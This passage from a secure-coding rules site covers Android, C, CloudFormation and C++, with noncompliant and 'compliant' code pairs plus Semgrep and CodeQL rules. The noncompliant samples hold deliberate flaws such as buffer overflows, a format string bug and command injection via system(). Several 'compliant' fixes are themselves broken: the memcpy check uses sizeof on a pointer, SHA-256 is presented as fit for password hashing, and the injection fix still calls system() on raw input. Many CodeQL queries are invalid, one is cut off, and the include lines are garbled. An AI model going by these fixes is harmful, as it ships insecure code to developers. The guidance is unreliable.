i < \d+; i\+\+\)' message: "Long-running operation on the main UI thread" ``` CodeQL: ``` import android class MainActivity extends AnyFile { MainActivity() { exists( MethodDeclaration m | m.getEnclosingType().toString() = "MainActivity" and m.getQualifiedName() = "android.app.Activity.onCreate(Bundle)" and m.getBody().toString().indexOf("for (int i = 0; i < 1000000; i++)") >= 0 ) } } ``` ### Code Tampering Noncompliant code: ```java public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = findViewById(R.id.textView); // Check if the app is installed from an unauthorized source boolean isAuthorizedSource = checkInstallationSource(); if (!isAuthorizedSource) { // Show an error message and exit the app textView.setText("Unauthorized app installation"); finish(); } // Rest of the code... } private boolean checkInstallationSource() { // Perform checks to determine the app installation source // For simplicity, assume the check always returns false in this example return false; } } ``` In this noncompliant code, there is a check performed in the onCreate method to verify if the app is installed from an unauthorized source. If the check fails (returns false), an error message is displayed, but the app continues its execution. To address this issue, here's an example of compliant code that mitigates code tampering in Android Java: Compliant code: ```java public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = findViewById(R.id.textView); // Check if the app is installed from an unauthorized source boolean isAuthorizedSource = checkInstallationSource(); if (!isAuthorizedSource) { // Show an error message and exit the app textView.setText("Unauthorized app installation"); finishAffinity(); // Close all activities and exit the app return; // Prevent further execution of code } // Rest of the code... } private boolean checkInstallationSource() { // Perform checks to determine the app installation source // For simplicity, assume the check always returns false in this example return false; } } ``` In the compliant code, when the check for an unauthorized app installation fails, the finishAffinity() method is called to close all activities and exit the app. Additionally, the return statement is used to prevent further execution of code in the onCreate method. By terminating the app's execution upon detection of an unauthorized installation source, the potential for code tampering is mitigated. Semgrep: ``` rules: - id: unauthorized-app-installation-check patterns: - pattern: 'checkInstallationSource\(\)' message: "Unauthorized app installation check" ``` CodeQL: ``` import android class MainActivity extends AnyFile { MainActivity() { exists( MethodDeclaration m | m.getEnclosingType().toString() = "MainActivity" and m.getQualifiedName() = "android.app.Activity.onCreate(Bundle)" and m.getBody().toString().indexOf("checkInstallationSource()") >= 0 ) } } ``` ### Reverse Engineering Noncompliant code: ```java public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = findViewById(R.id.textView); // Perform sensitive operation String sensitiveData = performSensitiveOperation(); // Display sensitive data on the screen textView.setText(sensitiveData); // Rest of the code... } private String performSensitiveOperation() { // Perform sensitive operation // For simplicity, assume it involves sensitive data processing return "Sensitive Data"; } } ``` In this noncompliant code, sensitive data is processed in the performSensitiveOperation method. The resulting sensitive data is then directly displayed on the screen in the onCreate method, making it easier for an attacker to reverse engineer and extract the sensitive information from the APK. To address this issue, here's an example of compliant code that mitigates reverse engineering in Android Java: Compliant code: ```java public class MainActivity extends AppCompatActivity { private TextView textView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textView = findViewById(R.id.textView); // Perform sensitive operation String sensitiveData = performSensitiveOperation(); // Display a generic message on the screen textView.setText("Sensitive data is protected"); // Rest of the code... } private String performSensitiveOperation() { // Perform sensitive operation // For simplicity, assume it involves sensitive data processing return "Sensitive Data"; } } ``` In the compliant code, instead of directly displaying the sensitive data on the screen, a generic message is shown to avoid exposing sensitive information. By obfuscating the sensitive data and displaying a generic message, the reverse engineering efforts are made more challenging, making it harder for an attacker to extract sensitive information from the APK. Semgrep: ``` rules: - id: sensitive-data-display patterns: - pattern: 'textView.setText\(performSensitiveOperation\(\)\)' message: "Sensitive data display" ``` CodeQL: ``` import android class MainActivity extends AnyFile { MainActivity() { exists( MethodDeclaration m | m.getEnclosingType().toString() = "MainActivity" and m.getQualifiedName() = "android.app.Activity.onCreate(Bundle)" and m.getBody().toString().indexOf("textView.setText(performSensitiveOperation())") >= 0 ) } } ``` ### Extraneous Functionality Noncompliant code: ```java public class MainActivity extends AppCompatActivity { private Button loginButton; private Button adminButton; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); loginButton = findViewById(R.id.loginButton); adminButton = findViewById(R.id.adminButton); loginButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // Perform login functionality performLogin(); } }); adminButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // Perform admin functionality performAdminAction(); } }); // Rest of the code... } private void performLogin() { // Login functionality } private void performAdminAction() { // Admin functionality } } ``` In this noncompliant code, there is an adminButton along with its associated functionality for performing administrative actions. However, if the app does not require or intend to provide administrative functionality to regular users, this can introduce unnecessary risk. It increases the attack surface and potential for unauthorized access if an attacker gains control of the app. To address this issue, here's an example of compliant code that removes the extraneous functionality: Compliant code: ```java public class MainActivity extends AppCompatActivity { private Button loginButton; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); loginButton = findViewById(R.id.loginButton); loginButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // Perform login functionality performLogin(); } }); // Rest of the code... } private void performLogin() { // Login functionality } } ``` In the compliant code, the adminButton and its associated administrative functionality have been removed. The app now focuses solely on the required login functionality for regular users, reducing the attack surface and eliminating unnecessary functionality that could introduce potential security risks. Semgrep: ``` rules: - id: hardcoded-actions patterns: - pattern: 'performLogin\(\)' - pattern: 'performAdminAction\(\)' message: "Hardcoded actions in onClick methods" ``` CodeQL: ``` import android class MainActivity extends AnyFile { MainActivity() { exists( MethodDeclaration m | m.getEnclosingType().toString() = "MainActivity" and m.getBody().getAStatement() instanceof MethodInvocation and ( m.getBody().getAStatement().toString().indexOf("performLogin()") >= 0 or m.getBody().getAStatement().toString().indexOf("performAdminAction()") >= 0 ) ) } } ``` ================================================ FILE: docs/rules/c.md ================================================ --- layout: default title: C parent: Rules --- # C {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Buffer Overflow Noncompliant code: ```c void copy_string(char* dest, char* src) { int i = 0; while(src[i] != '\0') { dest[i] = src[i]; i++; } dest[i] = '\0'; } int main() { char str1[6]; char str2[10] = "example"; copy_string(str1, str2); printf("%s", str1); return 0; } ``` In this example, the `copy_string` function copies the contents of `src` to `dest`. However, there is no check for the length of dest, and if src is longer than dest, a buffer overflow will occur, potentially overwriting adjacent memory addresses and causing undefined behavior. In this case, str2 is 7 characters long, so the call to copy_string will overflow the buffer of str1, which has a length of only 6. Compliant code: ```c void copy_string(char* dest, char* src, size_t dest_size) { int i = 0; while(src[i] != '\0' && i < dest_size - 1) { dest[i] = src[i]; i++; } dest[i] = '\0'; } int main() { char str1[6]; char str2[10] = "example"; copy_string(str1, str2, sizeof(str1)); printf("%s", str1); return 0; } ``` In this compliant code, the `copy_string` function takes an additional parameter dest_size, which is the maximum size of the dest buffer. The function checks the length of src against dest_size to avoid overflowing the buffer. The sizeof operator is used to get the size of the dest buffer, so it is always passed correctly to copy_string. By using the dest_size parameter, the code ensures that it doesn't write more data than the destination buffer can hold, preventing buffer overflows. Semgrep: ``` rules: - id: buffer-overflow patterns: - pattern: 'while\(src\[i\] != \'\\0\'\)' message: "Potential buffer overflow vulnerability" ``` CodeQL: ``` import c from Function f where f.getName() = "copy_string" select f ``` ## Null Pointer Dereference Noncompliant code: ```c #include int main() { int* ptr = NULL; *ptr = 10; // Noncompliant code // Rest of the code... } ``` In the noncompliant code, a null pointer ptr is dereferenced by attempting to assign a value to the memory location it points to. This leads to a Null Pointer Dereference, as dereferencing a null pointer results in undefined behavior and potential crashes or security vulnerabilities. Compliant code: ```c #include int main() { int value = 10; int* ptr = &value; // Assign the address of a valid variable *ptr = 20; // Valid dereference // Rest of the code... } ``` The compliant code ensures that a valid memory location is accessed. In this case, the variable value is declared and its address is assigned to the pointer ptr. Dereferencing ptr after pointing to a valid variable allows for proper memory access. Semgrep: ``` rules: - id: null-pointer-dereference pattern: "*$expr" message: Potential null pointer dereference detected ``` CodeQL: ``` import c from ExprDereference dereference select dereference, "Potential null pointer dereference detected" as message ``` ## Integer Overflow/Underflow Noncompliant code: ```c #include int main() { int a = 2147483647; // Maximum value for a signed int int b = 1; int result = a + b; // Noncompliant code printf("Result: %d\n", result); // Rest of the code... } ``` In the noncompliant code, an integer overflow occurs when adding the maximum value for a signed integer (a) with 1 (b). The result exceeds the maximum value that can be represented by a signed int, causing undefined behavior and potentially incorrect calculations or security vulnerabilities. Compliant code: ```c #include #include int main() { int a = INT_MAX; int b = 1; if (a <= INT_MAX - b) { int result = a + b; printf("Result: %d\n", result); } else { printf("Overflow occurred.\n"); } // Rest of the code... } ``` The compliant code checks for the potential overflow condition before performing the addition. It verifies if the result would remain within the range of representable values for a signed int by comparing a with INT_MAX - b. If the condition is true, the addition is performed, and the result is printed. Otherwise, an appropriate handling for the overflow situation can be implemented. Semgrep: ``` rules: - id: integer-overflow pattern: "$var + $expr" message: Potential integer overflow detected ``` CodeQL: ``` import c from BinaryExpr addition where addition.getOperator() = "+" select addition, "Potential integer overflow detected" as message ``` ## Denial-of-Service (DoS) Noncompliant code: ```c #include void processRequest(int length, char* request) { // Process the request without any validation or rate limiting // This code may consume excessive resources and cause a DoS condition } int main() { int length = 1000000000; // Large value to simulate a potentially malicious request char* request = (char*)malloc(length * sizeof(char)); // Populate the request buffer with data processRequest(length, request); // Rest of the code... free(request); } ``` In the noncompliant code, a potentially maliciously large request is created with a very high length value. The request is then passed to the processRequest function without any validation or rate limiting. This can cause the program to consume excessive resources, leading to a Denial-of-Service (DoS) condition where the system becomes unresponsive or crashes. Compliant code: ```c #include void processRequest(int length, char* request) { // Implement appropriate request validation and rate limiting mechanisms // to prevent DoS attacks // Only process the request if it meets the defined criteria } int main() { int length = 1000000000; // Large value to simulate a potentially malicious request char* request = (char*)malloc(length * sizeof(char)); // Populate the request buffer with data // Perform request validation and rate limiting checks before processing if (length <= MAX_REQUEST_LENGTH) { processRequest(length, request); } else { printf("Request too large. Ignoring...\n"); } // Rest of the code... free(request); } ``` The compliant code implements appropriate request validation and rate limiting mechanisms to prevent DoS attacks. In this example, a maximum request length (MAX_REQUEST_LENGTH) is defined, and the length of the request is checked before processing. If the length exceeds the defined limit, the request is ignored, and an appropriate message is displayed. Semgrep: ``` rules: - id: dos-attack pattern: malloc($size * sizeof($type)) message: Potential DoS vulnerability detected ``` CodeQL: ``` import c from CallExpr mallocCall where mallocCall.getTarget().toString() = "malloc" select mallocCall, "Potential DoS vulnerability detected" as message ``` ## Format String Noncompliant code: ```c #include int main() { char name[100]; printf("Enter your name: "); scanf("%s", name); printf(name); // Noncompliant code, format string vulnerability // Rest of the code... } ``` In the noncompliant code, the user's input is directly passed to the printf function without proper format string handling. This can lead to a Format String vulnerability, where an attacker can control the format string argument and potentially exploit the program by accessing or modifying unintended memory addresses. Compliant code: ```c #include int main() { char name[100]; printf("Enter your name: "); scanf("%99s", name); printf("%s", name); // Compliant code, proper format string usage // Rest of the code... } ``` The compliant code ensures that the user's input is properly handled by specifying the maximum field width in the scanf function to prevent buffer overflow. The user's input is then printed using the %s format specifier in the printf function, ensuring proper format string usage. Semgrep: ``` rules: - id: format-string-vulnerability pattern: "printf($expr)" message: Potential format string vulnerability detected ``` CodeQL: ``` import c from CallExpr printfCall where printfCall.getTarget().toString() = "printf" select printfCall, "Potential format string vulnerability detected" as message ``` ## Insecure Cryptography Noncompliant code: ```c #include #include void insecureHashPassword(const char* password) { unsigned char digest[MD5_DIGEST_LENGTH]; MD5((unsigned char*)password, strlen(password), digest); // Insecure: using MD5 for password hashing // Rest of the code... } int main() { const char* password = "mysecretpassword"; insecureHashPassword(password); // Rest of the code... } ``` In the noncompliant code, the MD5 cryptographic hash function is used to hash passwords. MD5 is considered insecure for password hashing due to its vulnerability to various attacks, such as collision attacks and preimage attacks. It is important to use stronger and more secure hash algorithms for password storage. Compliant code: ```c #include #include void secureHashPassword(const char* password) { unsigned char digest[SHA256_DIGEST_LENGTH]; SHA256((unsigned char*)password, strlen(password), digest); // Secure: using SHA-256 for password hashing // Rest of the code... } int main() { const char* password = "mysecretpassword"; secureHashPassword(password); // Rest of the code... } ``` The compliant code replaces the use of the insecure MD5 hash function with the more secure SHA-256 hash function. SHA-256 is a stronger cryptographic algorithm suitable for password hashing and provides better security against various attacks. Semgrep: ``` rules: - id: insecure-cryptography patterns: - "MD5($expr)" - "SHA1($expr)" message: Potential insecure cryptography usage detected ``` CodeQL: ``` import c from CallExpr md5Call, sha1Call where md5Call.getTarget().toString() = "MD5" or sha1Call.getTarget().toString() = "SHA1" select md5Call, sha1Call, "Potential insecure cryptography usage detected" as message ``` ## Memory Corruption Noncompliant code: ```c #include #include #include void copyData(char* dest, const char* src, size_t size) { memcpy(dest, src, size); // Noncompliant code: potential memory corruption if size is larger than the allocated memory for dest // Rest of the code... } int main() { char buffer[10]; const char* data = "Hello, World!"; copyData(buffer, data, strlen(data) + 1); // Rest of the code... } ``` In the noncompliant code, the copyData function uses the memcpy function to copy data from the source to the destination buffer. However, if the size of the data is larger than the allocated memory for the destination buffer, it can lead to memory corruption and unexpected behavior, including crashes or security vulnerabilities. Compliant code: ```c #include #include #include void copyData(char* dest, const char* src, size_t size) { size_t destSize = sizeof(dest); // Calculate the size of the destination buffer if (size > destSize) { // Handle the error condition appropriately (e.g., truncate, return an error code, etc.) return; } memcpy(dest, src, size); // Compliant code: ensures the size of the source data does not exceed the allocated memory for dest // Rest of the code... } int main() { char buffer[10]; const char* data = "Hello, World!"; copyData(buffer, data, strlen(data) + 1); // Rest of the code... } ``` The compliant code introduces a check to ensure that the size of the source data does not exceed the allocated memory for the destination buffer. If the size is larger than the destination buffer's capacity, the code can handle the error condition appropriately, such as truncating the data, returning an error code, or taking other necessary actions. Semgrep: ``` rules: - id: memory-corruption pattern: memcpy($dest, $src, $size) message: Potential memory corruption detected ``` CodeQL: ``` import c from CallExpr memcpyCall where memcpyCall.getTarget().toString() = "memcpy" select memcpyCall, "Potential memory corruption detected" as message ``` ## Code Injection Noncompliant code: ```c #include #include void executeCommand(const char* command) { char buffer[100]; snprintf(buffer, sizeof(buffer), "system(\"%s\")", command); system(buffer); // Noncompliant code: potential code injection vulnerability // Rest of the code... } int main() { const char* userInput = "ls -la"; executeCommand(userInput); // Rest of the code... } ``` In the noncompliant code, the executeCommand function constructs a command string by directly concatenating user input with a system command. This can lead to code injection vulnerabilities, where an attacker can manipulate the input to execute arbitrary commands on the system. Compliant code: ```c #include #include void executeCommand(const char* command) { // Perform appropriate input validation and sanitization // to ensure command integrity system(command); // Compliant code: executing the command directly without string manipulation // Rest of the code... } int main() { const char* userInput = "ls -la"; executeCommand(userInput); // Rest of the code... } ``` The compliant code performs input validation and sanitization to ensure the integrity of the command being executed. It avoids string manipulation and directly executes the command, reducing the risk of code injection vulnerabilities. Semgrep: ``` rules: - id: code-injection pattern: "system($expr)" message: Potential code injection vulnerability detected ``` CodeQL: ``` import c from CallExpr systemCall where systemCall.getTarget().toString() = "system" select systemCall, "Potential code injection vulnerability detected" as message ``` ## DLL Hijacking Noncompliant code: ```c #include void loadDLL(const char* dllName) { HMODULE hModule = LoadLibraryA(dllName); // Noncompliant code: loading a DLL without specifying the absolute path // Rest of the code... } int main() { const char* dllName = "mydll.dll"; loadDLL(dllName); // Rest of the code... } ``` In the noncompliant code, the loadDLL function loads a DLL using the LoadLibraryA function without specifying the absolute path of the DLL. This can lead to DLL hijacking vulnerabilities, where an attacker can place a malicious DLL with the same name in a location where the application searches, leading to the execution of unintended code. Compliant code: ```c #include #include bool isValidDLLPath(const char* dllPath) { // Perform appropriate validation to ensure the DLL path is trusted // Return true if the DLL path is valid, false otherwise return true; } void loadDLL(const char* dllName) { char dllPath[MAX_PATH]; // Construct the absolute path to the DLL using a trusted location snprintf(dllPath, sizeof(dllPath), "C:\\Path\\To\\DLLs\\%s", dllName); if (!isValidDLLPath(dllPath)) { // Handle the error condition appropriately (e.g., log, return, etc.) return; } HMODULE hModule = LoadLibraryA(dllPath); // Compliant code: loading the DLL with the absolute path // Rest of the code... } int main() { const char* dllName = "mydll.dll"; loadDLL(dllName); // Rest of the code... } ``` The compliant code ensures the DLL is loaded using the absolute path of the DLL file. It constructs the absolute path using a trusted location and performs appropriate validation (isValidDLLPath) to ensure the DLL path is trusted before loading the DLL. Semgrep: ``` rules: - id: dll-hijacking patterns: - "LoadLibraryA($dllName)" - "LoadLibraryW($dllName)" message: Potential DLL hijacking vulnerability detected ``` CodeQL: ``` import cpp from CallExpr loadLibraryCall where loadLibraryCall.getTarget().toString() = "LoadLibraryA" or loadLibraryCall.getTarget().toString() = "LoadLibraryW" select loadLibraryCall, "Potential DLL hijacking vulnerability detected" as message ``` ## Use After Free Noncompliant code: ```c #include void useAfterFree() { int* ptr = (int*)malloc(sizeof(int)); free(ptr); *ptr = 42; // Noncompliant code: use after free // Rest of the code... } int main() { useAfterFree(); // Rest of the code... } ``` In the noncompliant code, the useAfterFree function allocates memory using malloc, but then immediately frees it using free. After that, it attempts to dereference the freed pointer, leading to undefined behavior and potential use after free vulnerability. Compliant code: ```c #include void useAfterFree() { int* ptr = (int*)malloc(sizeof(int)); if (ptr == NULL) { // Handle allocation failure appropriately (e.g., return, log, etc.) return; } *ptr = 42; // Compliant code: using the allocated memory before freeing it free(ptr); // Rest of the code... } int main() { useAfterFree(); // Rest of the code... } ``` The compliant code ensures that the allocated memory is used before freeing it. It performs appropriate checks for allocation failure and handles it accordingly to avoid use after free vulnerabilities. Semgrep: ``` rules: - id: use-after-free pattern: "free($expr); $expr =" message: Potential use after free vulnerability detected ``` CodeQL: ``` import cpp from ExprStmt freeStmt, assignment where freeStmt.getExpr().toString().matches("^free\\(.*\\)$") and assignment.toString().matches("^.* = .*") and assignment.getExpr().toString() = freeStmt.getExpr().toString() select freeStmt, "Potential use after free vulnerability detected" as message ``` ## Uninitialized Variables Noncompliant code: ```c #include int getValue() { int value; // Noncompliant code: uninitialized variable // Perform some operations or calculations to initialize the value return value; } int main() { int result = getValue(); printf("Result: %d\n", result); // Rest of the code... } ``` In the noncompliant code, the variable value is declared but not initialized before being used in the getValue function. This can lead to undefined behavior and incorrect results when the uninitialized variable is accessed. Compliant code: ```c #include int getValue() { int value = 0; // Compliant code: initializing the variable // Perform some operations or calculations to initialize the value return value; } int main() { int result = getValue(); printf("Result: %d\n", result); // Rest of the code... } ``` The compliant code initializes the variable value to a known value (in this case, 0) before using it. This ensures that the variable has a defined value and prevents potential issues caused by uninitialized variables. Semgrep: ``` rules: - id: uninitialized-variable pattern: "$type $varName;" message: Potential uninitialized variable detected ``` CodeQL: ``` import cpp from VariableDeclarator uninitializedVariable where not uninitializedVariable.hasInitializer() select uninitializedVariable, "Potential uninitialized variable detected" as message ``` ## Race Conditions Noncompliant code: ```c #include #include int counter = 0; void* incrementCounter(void* arg) { for (int i = 0; i < 1000; ++i) { counter++; // Noncompliant code: race condition } return NULL; } int main() { pthread_t thread1, thread2; pthread_create(&thread1, NULL, incrementCounter, NULL); pthread_create(&thread2, NULL, incrementCounter, NULL); pthread_join(thread1, NULL); pthread_join(thread2, NULL); printf("Counter value: %d\n", counter); // Rest of the code... } ``` In the noncompliant code, two threads are created to increment a shared counter variable. However, since the increments are not synchronized, a race condition occurs where the threads can interfere with each other, leading to unpredictable and incorrect results. Compliant code: ```c #include #include int counter = 0; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void* incrementCounter(void* arg) { for (int i = 0; i < 1000; ++i) { pthread_mutex_lock(&mutex); // Acquire the lock counter++; // Compliant code: synchronized access to counter pthread_mutex_unlock(&mutex); // Release the lock } return NULL; } int main() { pthread_t thread1, thread2; pthread_create(&thread1, NULL, incrementCounter, NULL); pthread_create(&thread2, NULL, incrementCounter, NULL); pthread_join(thread1, NULL); pthread_join(thread2, NULL); printf("Counter value: %d\n", counter); // Rest of the code... } ``` The compliant code introduces a mutex (pthread_mutex_t) to synchronize access to the counter variable. The mutex is locked before accessing the counter and unlocked afterward, ensuring that only one thread can modify the counter at a time, eliminating the race condition. Semgrep: ``` rules: - id: race-condition pattern: | $lockPattern($lockVar); $varName $incOp message: Potential race condition detected ``` CodeQL: ``` import cpp from LockExpr lockExpr, PostfixIncExpr postfixInc where lockExpr.getLockVar().getType().toString() = "pthread_mutex_t *" and lockExpr.getLockPattern().toString() = "pthread_mutex_lock" and postfixInc.getOperand().toString() = lockExpr.getLockVar().toString() select lockExpr, "Potential race condition detected" as message ``` ## Insecure File Operations Noncompliant code: ```c #include void readFile(const char* filename) { FILE* file = fopen(filename, "r"); // Noncompliant code: insecure file operation if (file != NULL) { // Read the contents of the file fclose(file); } } int main() { const char* filename = "sensitive.txt"; readFile(filename); // Rest of the code... } ``` In the noncompliant code, the readFile function uses the fopen function to open a file in read mode. However, it does not perform any validation or check for errors, which can lead to security vulnerabilities. An attacker may manipulate the filename argument to access unintended files or directories. Compliant code: ```c #include void readFile(const char* filename) { if (filename == NULL) { // Handle invalid filename appropriately (e.g., return, log, etc.) return; } FILE* file = fopen(filename, "r"); if (file != NULL) { // Read the contents of the file fclose(file); } } int main() { const char* filename = "sensitive.txt"; readFile(filename); // Rest of the code... } ``` The compliant code includes a check to ensure that the filename argument is not NULL before performing the file operation. Additionally, error handling and proper file closure are implemented to mitigate potential security risks. Semgrep: ``` rules: - id: insecure-file-operation pattern: "fopen($filename, $mode);" message: Potential insecure file operation detected ``` CodeQL: ``` import cpp from CallExpr fopenCall where fopenCall.getTarget().getName() = "fopen" and exists(ExceptionalControlFlow ecf | ecf.getAnomalyType() = "ANOMALY_UNCHECKED_RETURN_VALUE" and ecf.getAnomalySource() = fopenCall ) select fopenCall, "Potential insecure file operation detected" as message ``` ## API Hooking Noncompliant code: ```c #include #include void hookFunction() { // Hooking code here // ... } int main() { // Original function code here // ... hookFunction(); // Rest of the code... } ``` In the noncompliant code, the hookFunction is used to modify or replace the behavior of an original function. This technique is commonly known as API hooking and is often used for malicious purposes, such as intercepting sensitive data or tampering with the system. The noncompliant code lacks proper authorization and control over the hooking process. Compliant code: ```c #include void originalFunction() { // Original function code here // ... } void hookFunction() { // Hooking code here // ... } int main() { // Original function code here // ... // Call the original function originalFunction(); // Rest of the code... } ``` The compliant code separates the original function (originalFunction) and the hooking logic (hookFunction) into separate functions. Instead of directly hooking the original function, the compliant code calls the original function itself, ensuring the intended behavior and avoiding unauthorized modification. Semgrep: ``` rules: - id: api-hooking pattern: | $hookFunc:ident(); message: Potential API hooking detected ``` CodeQL: ``` import cpp from CallExpr hookFuncCall where hookFuncCall.getTarget().getName() = "hookFunction" select hookFuncCall, "Potential API hooking detected" as message ``` ## TOCTOU Noncompliant code: ```c #include #include #include void processFile(const char* filename) { struct stat fileStat; stat(filename, &fileStat); // Time-of-Check // Simulate a delay between Time-of-Check and Time-of-Use sleep(1); if (S_ISREG(fileStat.st_mode)) { // Perform operations on regular files // ... } } int main() { const char* filename = "data.txt"; processFile(filename); // Rest of the code... } ``` In the noncompliant code, the processFile function checks the file properties using the stat function (Time-of-Check). However, there is a delay introduced using the sleep function, creating a window of opportunity for an attacker to modify or replace the file before the Time-of-Use occurs. This can lead to security vulnerabilities where the wrong file may be processed. Compliant code: ```c #include #include #include void processFile(const char* filename) { struct stat fileStat; // Perform the Time-of-Check and Time-of-Use atomically if (stat(filename, &fileStat) == 0 && S_ISREG(fileStat.st_mode)) { // Perform operations on regular files // ... } } int main() { const char* filename = "data.txt"; processFile(filename); // Rest of the code... } ``` The compliant code performs the Time-of-Check and Time-of-Use atomically within the processFile function. It checks the return value of the stat function to ensure that it was successful and then checks the file's properties. By eliminating the delay between the Time-of-Check and Time-of-Use, the compliant code mitigates the TOCTOU vulnerability. Semgrep: ``` rules: - id: toctou pattern: | $checkStat:stat($filename, $_); sleep($delay); if ($checkStat && S_ISREG($_.st_mode)) { // Vulnerable code here // ... } message: Potential TOCTOU vulnerability detected ``` CodeQL: ``` import cpp from CallExpr statCall, SleepExpr sleepExpr, Expr statArg where statCall.getTarget().getName() = "stat" and sleepExpr.getArgument() = $delay and statArg.getType().toString() = "struct stat *" and exists(ControlFlowNode statNode | statNode.asExpr() = statCall and exists(ControlFlowNode sleepNode | sleepNode.asExpr() = sleepExpr and sleepNode < statNode ) ) and exists(Expr fileStat | fileStat.getType().getName() = "struct stat" and exists(ControlFlowNode useNode | useNode.asExpr() = fileStat and useNode > statNode and useNode < sleepNode and useNode.(CallExpr).getTarget().getName() = " ``` ================================================ FILE: docs/rules/cloudFormation.md ================================================ --- layout: default title: CloudFormation parent: Rules --- # CloudFormation {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### Hardcoded Name Noncompliant code: ```java # Noncompliant code Resources: MyBucket: Type: AWS::S3::Bucket Properties: BucketName: my-bucket ``` In this noncompliant code, an AWS CloudFormation template is used to create an S3 bucket. The bucket name is hardcoded as my-bucket without considering potential naming conflicts or security best practices. This approach introduces security risks, as the bucket name might already be taken or it might inadvertently expose sensitive information. Compliant code: ```java # Compliant code Resources: MyBucket: Type: AWS::S3::Bucket Properties: BucketName: Fn::Sub: "my-bucket-${AWS::StackName}-${AWS::Region}" ] ``` In the compliant code, the bucket name is dynamically generated using the Fn::Sub intrinsic function. The bucket name is composed of the string "my-bucket-", followed by the current CloudFormation stack name (AWS::StackName), and the AWS region (AWS::Region). This approach ensures uniqueness of the bucket name within the CloudFormation stack and helps mitigate potential naming conflicts. By using dynamic naming with the Fn::Sub function, you can avoid hardcoded values and provide a more flexible and secure approach to resource creation in CloudFormation. Additionally, you can implement other security measures such as: * Leveraging IAM policies to control access permissions for the created resources. * Implementing resource-level permissions using AWS Identity and Access Management (IAM) roles and policies. * Encrypting sensitive data at rest using AWS Key Management Service (KMS) or other encryption mechanisms. * Implementing stack-level or resource-level CloudFormation stack policies to control stack updates and prevent unauthorized modifications. By following security best practices and utilizing dynamic values in CloudFormation templates, you can enhance the security, flexibility, and reliability of your infrastructure deployments in AWS. Semgrep: ``` rules: - id: noncompliant-s3-bucket-properties patterns: - pattern: 'Type: AWS::S3::Bucket\n Properties:\n BucketName: .+' message: "Noncompliant S3 bucket properties" ``` CodeQL: ``` import cf from Template t where exists (Bucket b | b.getType().toString() = "AWS::S3::Bucket") and not exists (Bucket b | b.getType().toString() = "AWS::S3::Bucket" and b.getProperties().get("BucketName") != null) select t ``` ================================================ FILE: docs/rules/cpp.md ================================================ --- layout: default title: Cpp parent: Rules --- # Cpp {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Buffer Overflow Noncompliant code: ```c #include int main() { char buffer[5]; strcpy(buffer, "Hello, world!"); // Noncompliant code // Rest of the code... } ``` In the noncompliant code, a character array buffer of size 5 is declared. The strcpy function is then used to copy a string into the buffer. However, the string "Hello, world!" requires more than 5 characters to store, causing a buffer overflow. Writing beyond the bounds of the buffer leads to undefined behavior and potential security vulnerabilities. Compliant code: ```c #include #include int main() { char buffer[20]; strncpy(buffer, "Hello, world!", sizeof(buffer) - 1); buffer[sizeof(buffer) - 1] = '\0'; // Rest of the code... } ``` The compliant code declares a character array buffer of size 20, providing sufficient space to store the string. The strncpy function is used to copy the string into the buffer while limiting the number of characters copied to the size of the buffer minus 1. Additionally, a null terminator is explicitly added to ensure the string is properly terminated. Semgrep: ``` rules: - id: buffer-overflow pattern: strcpy($buffer, $source) message: Potential buffer overflow detected ``` CodeQL: ``` import cpp from CallExpr strcpyCall where strcpyCall.getArgument(0).getType().toString() = "char[]" select strcpyCall, "Potential buffer overflow detected" as message ``` ## Null Pointer Dereference Noncompliant code: ```c void foo(int* ptr) { if (ptr != nullptr) { *ptr = 42; } else { // handle error } } int main() { int* ptr = nullptr; foo(ptr); return 0; } ``` In this example, the foo() function takes a pointer to an integer and dereferences it to set its value to 42, but it does not check if the pointer is null. If a null pointer is passed to foo(), a null pointer dereference will occur, which can cause the program to crash or exhibit undefined behavior. Compliant code: ```c void foo(int* ptr) { if (ptr != nullptr) { *ptr = 42; } else { // handle error } } int main() { int i = 0; int* ptr = &i; foo(ptr); return 0; } ``` In the compliant code, the pointer is initialized to a valid address of an integer variable i using the address-of operator &. This ensures that the pointer is not null and prevents a null pointer dereference. Alternatively, the foo() function could be modified to handle null pointers gracefully, such as returning an error code or throwing an exception. In general, it is important to always check pointers for null before dereferencing them to prevent null pointer dereferences, which can lead to crashes and security vulnerabilities. Semgrep: ``` rules: - id: null-pointer-dereference patterns: - pattern: 'if \(ptr != nullptr\)' message: "Potential null pointer dereference" ``` CodeQL: ``` import cpp from Function f where f.getName() = "foo" select f ``` ## Integer Overflow/Underflow Noncompliant code: ```c #include int main() { int a = INT_MAX; int b = 1; int result = a + b; std::cout << "Result: " << result << std::endl; // Rest of the code... } ``` In the noncompliant code, the program performs an addition operation between a and b without checking for potential integer overflow. If the value of a is already at its maximum (INT_MAX), the addition will result in undefined behavior due to integer overflow. Compliant code: ```c #include #include int main() { int a = INT_MAX; int b = 1; if (a > std::numeric_limits::max() - b) { std::cout << "Integer overflow occurred!" << std::endl; } else { int result = a + b; std::cout << "Result: " << result << std::endl; } // Rest of the code... } ``` The compliant code includes a check for potential integer overflow before performing the addition. It compares the value of `a` with the maximum value of the integer type (`std::numeric_limits::max()`) minus `b`. If the comparison indicates that an overflow will occur, appropriate actions can be taken to handle the overflow condition. In this example, an informative message is displayed when an overflow is detected. Semgrep: ``` rules: - id: integer-overflow pattern: | int a = INT_MAX; int b = 1; int result = a + b; message: Potential integer overflow/underflow detected ``` CodeQL: ``` import cpp from Function main() { where exists(BinaryOperator addition | subtraction | 